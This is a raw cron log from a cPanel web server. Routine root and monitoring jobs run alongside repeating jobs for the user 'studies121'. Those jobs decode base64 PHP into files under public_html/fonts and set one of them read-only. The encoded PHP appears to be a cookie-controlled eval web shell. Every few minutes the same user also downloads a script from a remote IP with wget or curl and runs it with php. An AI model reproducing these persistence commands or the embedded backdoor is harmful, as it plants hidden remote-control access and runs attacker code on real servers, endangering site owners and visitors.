Aug 31 20:32:01 ip-184-168-122-23 CROND[25200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:32:01 ip-184-168-122-23 CROND[25197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:32:01 ip-184-168-122-23 CROND[25199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:33:01 ip-184-168-122-23 CROND[25298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:33:01 ip-184-168-122-23 CROND[25300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:33:01 ip-184-168-122-23 CROND[25302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:33:01 ip-184-168-122-23 CROND[25301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:34:01 ip-184-168-122-23 CROND[25456]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 20:34:01 ip-184-168-122-23 CROND[25457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:34:01 ip-184-168-122-23 CROND[25460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:34:01 ip-184-168-122-23 CROND[25461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:34:01 ip-184-168-122-23 CROND[25463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:35:01 ip-184-168-122-23 CROND[25557]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:35:01 ip-184-168-122-23 CROND[25562]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 20:35:01 ip-184-168-122-23 CROND[25560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:35:01 ip-184-168-122-23 CROND[25559]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 20:35:01 ip-184-168-122-23 CROND[25561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:35:01 ip-184-168-122-23 CROND[25563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:35:01 ip-184-168-122-23 CROND[25564]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 20:35:01 ip-184-168-122-23 CROND[25565]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 20:36:01 ip-184-168-122-23 CROND[25664]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 20:36:01 ip-184-168-122-23 CROND[25666]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:36:01 ip-184-168-122-23 CROND[25667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:36:01 ip-184-168-122-23 CROND[25669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:36:01 ip-184-168-122-23 CROND[25671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:37:01 ip-184-168-122-23 CROND[25756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:37:02 ip-184-168-122-23 CROND[25759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:37:02 ip-184-168-122-23 CROND[25758]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:37:02 ip-184-168-122-23 CROND[25761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:38:01 ip-184-168-122-23 CROND[25839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:38:01 ip-184-168-122-23 CROND[25838]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 20:38:01 ip-184-168-122-23 CROND[25842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:38:01 ip-184-168-122-23 CROND[25843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:38:01 ip-184-168-122-23 CROND[25845]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:39:01 ip-184-168-122-23 CROND[25927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:39:01 ip-184-168-122-23 CROND[25928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:39:01 ip-184-168-122-23 CROND[25929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:39:02 ip-184-168-122-23 CROND[25933]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 20:39:02 ip-184-168-122-23 CROND[25936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:40:01 ip-184-168-122-23 CROND[26019]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 20:40:01 ip-184-168-122-23 CROND[26020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:40:02 ip-184-168-122-23 CROND[26021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:40:02 ip-184-168-122-23 CROND[26024]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 20:40:02 ip-184-168-122-23 CROND[26025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:40:02 ip-184-168-122-23 CROND[26027]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 20:40:02 ip-184-168-122-23 CROND[26032]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 20:40:02 ip-184-168-122-23 CROND[26033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:41:01 ip-184-168-122-23 CROND[26114]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:41:01 ip-184-168-122-23 CROND[26115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:41:01 ip-184-168-122-23 CROND[26118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:41:01 ip-184-168-122-23 CROND[26116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:42:01 ip-184-168-122-23 CROND[26287]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:42:01 ip-184-168-122-23 CROND[26290]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 20:42:01 ip-184-168-122-23 CROND[26289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:42:01 ip-184-168-122-23 CROND[26292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:42:01 ip-184-168-122-23 CROND[26294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:43:01 ip-184-168-122-23 CROND[26372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:43:01 ip-184-168-122-23 CROND[26373]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:43:01 ip-184-168-122-23 CROND[26375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:43:01 ip-184-168-122-23 CROND[26377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:44:01 ip-184-168-122-23 CROND[26476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:44:01 ip-184-168-122-23 CROND[26480]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:44:01 ip-184-168-122-23 CROND[26479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
